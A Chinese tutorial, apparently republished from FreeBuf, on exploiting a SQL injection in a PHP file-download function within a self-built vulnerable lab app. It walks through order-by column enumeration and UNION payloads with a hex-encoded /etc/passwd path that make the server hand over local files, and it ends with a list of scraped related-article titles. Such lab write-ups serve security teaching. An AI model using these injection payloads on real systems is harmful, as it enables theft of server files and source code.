写在前面的话

SQL注入可以称得上是最臭名昭著的安全漏洞了,而SQL注入漏洞也已经给整个网络世界造成了巨大的破坏。针对SQL漏洞,研究人员也已经开发出了多种不同的利用技术来实施攻击,包括非法访问存储在远程数据库中的数据、从服务器读/写数据、以及通过MSSQL的SA账号完成任意命令执行等等。

在这篇文章中,我们准备利用一个存在于文件下载函数中的SQL注入漏洞,我们将利用存在漏洞的SQL语句并从远程服务器中下载我们所需要的文件。假设现在有一个由用户提供的参数,我们可以将这个参数添加到SQL查询语句之中,当SQL语句处理完这个参数之后,查询语句将会返回我们目标文件的地址。现在,如果我们将这条SQL查询语句返回的文件地址提供给文件下载函数的话,我们就可以下载服务器中的本地文件了。在这种情况下,如果Web应用没有对用户的输入进行检测的话,攻击者就可以在知道文件地址的情况下通过构造SQL语句来下载任意文件了,不过这个文件必须要有可读权限才行。

所以在这篇文章中,我将会给大家讲解这个SQL注入漏洞。实际上,这个漏洞是PHP文件下载函数中的一个本地文件泄露漏洞,我们所使用的Web应用后端为MySQL数据库。

实验环境

为了演示漏洞的利用过程,我们需要在设备上完成以下配置:1.Web服务器(我用的是Apache);

2.PHP环境

3.MySQL数据库

4.包含漏洞的Web应用样本,你可以从我的GitHub上下载【下载地址】。

下载样本代码,然后用以下信息创建一个MySQL用户:Username=dsqli

Password=icadsqli

And database name = dsqli

为了创建数据库,用户必须要有数据库的读权限,请大家按照下面的步骤进行操作。

首先以root账号登录MySQL的终端控制台,然后用下面的语句创建一个新的数据库:Create database dsqli;

然后创建新用户“dsqli”,密码为“icadsqli”,并赋予数据库dsqli的读/写权限:grant all on dsqli.* to dsqli@localhostIDENTIFIED BY 'icadsqli';

当你设置好了数据库和用户账号之后,直接将据库文件dsqli.sql导入到dsqli数据库中。导入成功之后,数据库中将会出现一个表:i) Download (列名为id、image_name、location)

漏洞分析

我们给出的漏洞利用技术只有当SQL查询语句的返回值会传递给目标Web应用的文件下载函数时才能奏效,我们的样本代码中存在SQL注入漏洞,而SQl查询语句返回的数据会被传递给PHP的文件下载函数file_download()。

我们可以从上面这段代码中看到,如果我们可以想办法修改查询语句,然后让SQL查询语句将服务器本地文件或Web应用源码文件的地址保存在$row[‘location’]变量之中,那么file_download()函数将会帮我们把这个文件下载下来。实际上,我们只需要在SQL查询中使用UNION就可以轻松实现注入,在注入的过程中,我们需要提供目标文件完整的本地路径,然后再以十六进制格式下载该文件。

漏洞利用

1.  通过SQL注入获取服务器本地文件

首先,我们要确定目标Web应用是否存在基于整型的SQL注入漏洞或基于字符串的SQL注入漏洞。确定之后,我们还要确定SQL语句所查询的表中有多少列。

在我们给出的样本中,Web应用存在基于整型的SQL注入漏洞。

确定表中有多少列:

首先我们要知道,如果查询语句正确执行并给出了输出结果,我们将会看到弹出的文件下载窗口。那么为了确定表中列的数量,我们需要注入order by子句并不断增加order by的值,直到Web应用停止弹出下载窗口为止。

样本Web应用的index.php中存在SQL注入漏洞,index.php页面中的文件下载请求参数如下:image=1&image_download=Download

现在,我们可以尝试用order by字句枚举出列数量。Page Index.php

Post parameters

image=1 order by 1--&image_download=Download

现在,向语句中注入参数‘order by 5--’Page index.php

Post parameters

image=1 order by 5--&image_download=Download

当我们将order by字句的值从1增加到5之后,Web应用就不会再弹出下载窗口了,所以select语句所使用的列值肯定是小于5的。接下来我们试一下‘order by 4’:Page index.php

Post parameters

image=1 order by 4--&image_download=Download

从上图中可以看到,我们刚才的语句导致页面出现了错误,接下来尝试一下‘order by 3’:Page index.php

Post parameters

image=1 order by 3--&image_download=Download

这一次Web页面终于弹出了文件下载窗口,所以这个表的列数量为3。现在我们可以尝试用UNION语句完成注入了。注入后的请求如下:Page index.php

Post parameters

image=1 union select 1,2,3--&image_download=Download

这条注入请求同样会让页面弹出文件下载窗口。

确定用于文件下载的列:

现在既然我们已经确定了表中的列数量,接下来我们就要找到那个允许我们定义文件路径的列。我们需要将文件路径的十六进制依次填入语句的列编号之中,直到我们找到了目标列为止。

接下来,我们可以尝试下载/etc/passwd文件。首先我们需要将字符串‘/etc/passwd’转换为十六进制格式(我使用的是Firefox的hex bar插件),然后在字符串前面加上一个‘0x’。我们现在还不能确定Web应用到底是用数据库表中的哪一列来获取文件路径的,所以我们先用‘/etc/passwd’的十六进制值替换union select语句中的‘1’,具体如下图所示:

修改之前的查询语句如下:Page index.php

Post parameters

image=1 union select 1,2,3--&image_download=Download

修改之后的查询语句如下:Page index.php

Post parameters

image=1 union select 1,2,3--&image_download=Download

我们需要将包含漏洞的参数值修改为一个无效值,这样一来,当原本的查询语句跟我们注入的查询子句一起执行时,原本的查询语句将不会返回任何内容,而我们注入的查询语句将会返回我们想要的结果。如果我们没有进行这样的修改,那么页面执行的仍然是原本合法的文件下载请求。修改之后的查询语句如下(修改了image的值):Page index.php

Post parameters

image=1337 union select 1,2,3--&image_download=Download

好的,如果我们注入的是能够将文件地址返回给文件下载函数的列,那么Web应用将会帮我们下载/etc/passwd文件。

不幸的是,Web应用弹出了错误信息,这意味着我们选错了一个列。接下来用第二列试一下。修改后的请求如下:Page index.php

Post parameters

image=1337 union select 1,0x2f6574632f706173737764,3-- &image_download=Download

还是没有成功,那么第三列应该没问题了吧?修改后的请求如下:Page index.php

Post parameters

image=1337 union select 1,2,0x2f6574632f706173737764-- &image_download=Download

果不其然,这一次终于成功了,我们成功将Web应用的passwd文件下载了下来。当然了,如果我们能够直到Web应用的文件结构或路径,我们甚至还可以下载Web应用的源代码。对于PHP项目来说,我们可以通过修改参数类型来获取Web应用的本地目录结构。在我们的实验环境中,原始的请求如下:image=1&image_download=Download

将‘image’参数修改为数组类型之后,请求如下:image[]=1&image_download=Download

现在,我们就知道了服务器的本地目录结构了,我们只需要将文件路径的十六进制值填入查询语句的列编号之中就可以下载任意文件了。如果你对SQL注入漏洞感兴趣的话,可以亲自动手搭建环境并进行测试,相信你肯定会在这个过程中收获不少的东西。

* 参考来源:githubusercontent, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

mysql注入如何读取本地文件_如何通过SQL注入获取服务器本地文件相关推荐

  1. php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  2. [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.这篇文章主要介绍5月9日参加津门杯CTF题目知识,包括power_cut.hate_ ...

  3. php登录框注入,分享一个php的防火墙,拦截SQL注入和xss

    这个是一个一个基于php的防火墙程序,拦截sql注入和xss攻击,无需服务器支持 安装 composer require xielei/waf 使用说明 $waf = new \Xielei\Waf\ ...

  4. 云对象获取服务器的文件列表,云对象获取服务器的文件列表

    云对象获取服务器的文件列表 内容精选 换一换 通过应用与华为OBS(Object-based Storage Service)对接,实现对象或者Widget资产存储功能.对象存储服务(Object-b ...

  5. qt 快速按行读取文件_这是知识点之Linux下分割文件并保留文件头

    点击上方"开发者的花花世界",选择"设为星标"技术干货不定时送达! 这是一个知识点 方便快捷的给结构化数据文件分割大小并保留文件的表头,几十个G的结构化文件不仅 ...

  6. mysql监测攻击_如何检测SQL注入技术以及跨站脚本攻击

    展开全部 在最近两年中,安全专家应该对网络应用层的攻击更加重e69da5e887aa62616964757a686964616f31333339666164视.因为无论你有多强壮的防火墙规则设置或者非 ...

  7. c++读取utf8文件_经常在日常工作中处理统一码文件(or其他编码)?这篇必读

    全文共2717字,预计学习时长5分钟 对于那些经常在日常工作中处理统一码文件(也适用于其他编码)的人来说,这篇文章是必读的.对于自然语言处理的从业者,处理统一码文件是一场噩梦,尤其是使用Windows ...

  8. mysql备份需要停应用吗_对于含有innodb表的实例进行文件拷贝备份时必须停mysql实例吗...

    展开全部 在实际环境中,62616964757a686964616fe59b9ee7ad9431333361313261时不时需要备份恢复单个或多个表(注意:这里除非明确指定,所说的表一律指InnoD ...

  9. mysql sql注入工具_基础篇——SQL注入(工具注入)

    注入工具 上一篇介绍了SQL注入漏洞以及一些手工注入方法,本篇介绍一下注入工具 1.sqlmap sqlmap属于比较经典的一个注入工具,功能强大,还自带一些绕过参数 使用方法: sqlmap.py ...

最新文章

  1. Database Appliance并非Mini版的Exadata-还原真实的Oracle Unbreakable Database Appliance
  2. R语言使用caretEnsemble包的caretList函数一次性构建多个机器学习模型、使用lattice包的bwplot函数使用箱图对比多个模型在多个指标上的性能差异
  3. hdoj1175 连连看(dfs+剪枝)
  4. python可视化窗口编程-Python可视化界面编程入门
  5. y2第一章 初始mybatis的上机3_MyBatis3.2.x从入门到精通之第一章
  6. Linux 系统之虚拟化部署
  7. vuex第三弹vuex之actions(前端网备份)
  8. 关于sql中的with(nolock)
  9. 一个给自己挖坑的网络综合实验(后悔莫及)
  10. php nginx日志分析,如何通过NGINX的log日志来分析网站的访问情况,试试这些命令...
  11. Leetcode PHP题解--D68 283. Move Zeroes
  12. html之table删除和添加数据(获取行号和列号)
  13. python基于django的高校教师科研成果管理系统
  14. VARCHART XGantt Activex 5.2.095 Crack
  15. 【02】一个实现h5的拖放的整个过程-魔芋
  16. 小游戏-在评论留下你的运行结果吧
  17. java 素数 五行_c语言动态烟花小程序代码
  18. matlab 将子文件下同名称文件移植到同一文件夹下并按序排列重命名n.bmp,n=1,2,3...
  19. 正试图在 os 加载程序锁内执行托管代码。不要尝试在 DllMain 或映像初始化函数内运行托管代码
  20. 一道和稀饭绝配的自制腌菜

热门文章

  1. JavaScript获取一周前,一个月前日期
  2. Angular 在项目中使用fullcalendar 日程表
  3. 在datasnap 中使用unidac 访问数据(客户端)
  4. 基于SDN的环路通信
  5. cookie and session
  6. excanvas让canvas兼容ie7,8
  7. 看上90亿的当当,海航的眼光是极好的
  8. Linux常用命令集
  9. 计算机网络 教学大纲 谢希仁,《计算机网络》教学大纲.doc
  10. 【PowerShell】PS中 the fuck 插件(PoShFuck)将 wtf 搜索引擎从 Google 改为 Baidu 或者 Bing